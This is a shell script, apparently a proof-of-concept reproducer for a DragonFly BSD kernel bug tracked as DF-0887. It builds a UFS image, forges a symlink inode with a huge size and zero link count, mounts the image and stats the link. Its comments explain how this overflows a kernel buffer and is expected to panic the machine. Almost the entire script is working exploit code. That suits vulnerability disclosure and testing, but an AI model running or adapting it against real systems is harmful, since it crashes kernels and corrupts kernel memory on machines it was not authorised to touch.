DF-0887 / reproduce.sh
#!/bin/sh # DF-0887 reproduce.sh — runs IN THE GUEST as root. # # Builds the inode patcher, creates a clean UFS image, mounts it, creates a # symlink (so the on-disk inode is well-formed), unmounts, binary-patches the # symlink's inode to forge di_size=4096 / di_blocks=0 / di_nlink=0, remounts, # and stats the symlink. The stat triggers iget -> ufs_inactive (nlink<=0) -> # ffs_truncate(vp,0) -> VLNK fast path -> bzero(&i_shortlink, 4096), a 4048 # byte overflow past the 48-byte di_db buffer into the M_FFSNODE slab. # # UFS is not user-mountable on DragonFly (get_fscap returns RESTRICTEDROOT), # so this is a root-context trigger -> kernel heap corruption / panic (DoS / # hardening gap), NOT an unprivileged->root escalation. # # Usage (from host): # scp this + sources to dfbsd:/root/, then vm.sh run_root 'sh /root/reproduce.sh' # Expect: panic in ffs_truncate / slab-corruption trap on default #0 GENERIC. set -u cd "$(dirname "$0")" echo "================= DF-0887 primitive characterization (harness) =================" ./harness 4096 0 echo echo "================= DF-0887 live kernel trigger =================" # build the patcher cc -o craft_img craft_img.c 2>&1 || { echo "CRAFT_BUILD_FAIL"; exit 3; } # fresh base UFS image rm -f base.img evil.img truncate -s 4M base.img vnconfig -u vn0 2>/dev/null || true vnconfig -c vn0 base.img newfs -v /dev/vn0 >/dev/null 2>&1 vnconfig -u vn0 # create a real symlink in the clean image so the on-disk inode & dir entry # are well-formed, then record its inode number vnconfig -c vn0 base.img mkdir -p /mnt/test mount -t ufs /dev/vn0 /mnt/test ln -s target_string /mnt/test/evil INODE=$(ls -i /mnt/test/evil | awk '{print $1}') echo "created symlink at inode $INODE" umount /mnt/test vnconfig -u vn0 # patch the symlink inode: keep di_mode=S_IFLNK|0777, set the malicious fields # di_size is set very large so the unbounded bzero deterministically runs past # the M_FFSNODE slab into unmapped kernel address space and page-faults # (INVARIANTS-only slab-magic corruption may or may not fire first depending # on slab layout; the page-fault is deterministic). cp base.img evil.img echo "--- patching inode $INODE in evil.img ---" ./craft_img evil.img "$INODE" \ di_size=131072 \ di_nlink=0 \ di_blocks=0 \ di_mode=0xa1ff # 0xa1ff = S_IFLNK (0xa000) | 0777 # mount the crafted image (root only) vnconfig -c vn0 evil.img echo "--- mounting evil.img and stat'ing the symlink (PANIC expected on #0) ---" mount -t ufs /dev/vn0 /mnt/test 2>&1 echo "MOUNT_RC=$?" echo "--- stat /mnt/test/evil ---" stat /mnt/test/evil 2>&1 echo "STAT_RC=$? (only reached if NO panic)" # cleanup if we somehow survived umount /mnt/test 2>/dev/null || true vnconfig -u vn0 2>/dev/null || true echo "END" |